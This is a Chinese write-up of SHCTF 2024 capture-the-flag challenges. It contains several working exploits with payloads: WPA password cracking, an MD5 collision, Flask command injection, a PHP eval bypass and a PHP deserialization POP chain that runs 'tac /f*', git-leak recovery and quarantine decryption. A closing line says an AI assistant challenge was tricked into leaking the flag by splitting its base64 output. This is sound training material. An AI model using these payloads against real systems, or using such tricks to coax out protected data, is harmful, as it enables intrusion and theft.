SHCTF 2024
MISC
有WiFi干嘛不用呢?
从下载的log,netxml,csv等文件得知wifi加密方式为WPA-PSK,并且还有cap流量包和密码字典
aircrack-ng安装和基础使用教程
使用aircrack-ng工具爆破密码,作为flag提交即可
Rasterizing Traffic
直接搜索flag字符串得到的是错误flag
TCP流18拿到一张png图片,打开发现是光栅
https://blog.zgsec.cn/archives/504.html
借用脚本并做细微修改,将三维改二维
1 | from PIL import Image |
拜师之旅①
给PNG添加头尾,并修改宽高即可拿到flag
真真假假?遮遮掩掩!
第一个zip是伪加密,第二个在注释处有hint:SHCTF??????FTCHS
结合题目掩码爆破弱口令即可
Quarantine
windows defender隔离的文件存放在C:\ProgramData\Microsoft\Windows Defender\Quarantine
中
在网上找到一篇博客,了解到实质是对文件进行了一次RC4的加密,且使用固定密钥
What happens when Windows Defender Quarantines Stuff)
1 | # Copyright (C) 2015 KillerInstinct, Optiv, Inc. (brad.spengler@optiv.com) |
借用该脚本(python2)成功解密文件
实质出题就是把木马语句和密文拼在一起然后让windows defender识别为病毒后选择隔离得到的加密文件
解密后面的大串base64后得到加密压缩包.尝试爆破后通过字典rockyou爆出密码得到flag
WEB
MD5 Master
1 |
|
md5强碰撞,使用fastcoll生成一个前缀为MD5 master!,后续内容不同且md5值相同的两个文件fastcoll -p 0.txt -o 1.txt 2.txt
比较md5值并输出url编码结果(存在不可打印字符所以要先编码)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo 'md5值: '. md5( (readmyfile("./1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("./1.txt"));
echo "</br>";
echo 'md5值:'.md5( (readmyfile("./2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("./2.txt"));
echo "</br>";
用BP发包即可得到flag
1zflask
前端都不做一个(
在/robots.txt拿到新路由,访问后得到app.py源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import os
import flask
from flask import Flask, request, send_from_directory, send_file
app = Flask(__name__)
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result
def static_from_root():
return send_from_directory(app.static_folder,'robots.txt')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)
if __name__ == '__main__':
app.run(debug=True)
在/api路由处可以传参$SSHCTFF进行变量覆盖,程序会读取内容进行命令执行payload:url/api?SSHCTFF=tac /f*
单身十八年的手速
js游戏,在js代码源码处找到胜利时会alert的base64密文.解密得到flag1
2
3if (times >= 0x208) {
alert('U0hDVEZ7NTlkMDJmZGItYmFhYS00ZjU1LTlhNGQtNGM1ZjA4OGY3YzhkfQo=');
}
ez_gittt
dirsearch扫到一堆.git,判断为.git泄露
https://github.com/WangYihang/GitHackergithacker --url xxx/.git/ --output-folder result
然后进入文件夹内git log
查看修改日志git reset --hard "xxx"
回退版本
此时文件夹内就出现flag了
蛐蛐?蛐蛐!
点按钮跳转check.php,返回原来页面在前端源码注释处得到题目源码的路由1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
if($_POST['ququ']!=null){
$eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
eval($_POST['ququ']);
}else{
echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");
}
else{
echo("呜呜呜fault还是要出题");
}
第一个弱等于绕过,第二个检查开头是否为ququk1
php弱等于特性:114514a==114514;a415411==0
第二个要求命令里带有ququk1,管道符或者分号绕过即可
payload:GET:url/check.php?ququ=114514a
POST:ququ=ququk1;phpinfo();
poppopop
1 |
|
类SH是定义静态变量的不用理会,当出发各自的函数就会使变量为True
函数调用顺序:destruct()->__toString()->classC的flag()->__invoke()
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class C {
public $p;
}
class T{
public $n;
}
class F {
public $o;
}
class SHCTF {
public $isyou;
public $flag;
}
$C = new C();
$T = new T();
$F = new F();
$SHCTF = new SHCTF();
$T->n=$F;
$F->o=$C;
$C->p=$SHCTF;
$SHCTF->isyou="system";
$SHCTF->flag="tac /f*";
echo base64_encode(serialize($T));paylaod:?data=TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo3OiJ0YWMgL2YqIjt9fX19
jvav
在名为demo.java的文件里运行java代码,写一个命令执行即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import java.io.BufferedReader;
import java.io.InputStreamReader;
class demo { // 类名为小写,匹配文件名 demo.java
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("tac /flag");
// 获取命令输出流
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line); // 输出每一行
}
reader.close(); // 关闭读取流
} catch (Exception e) {
e.printStackTrace(); // 输出异常信息
}
}
}
AI
小助手
常规欺骗,base64的话得到的不准确,加了个分段出了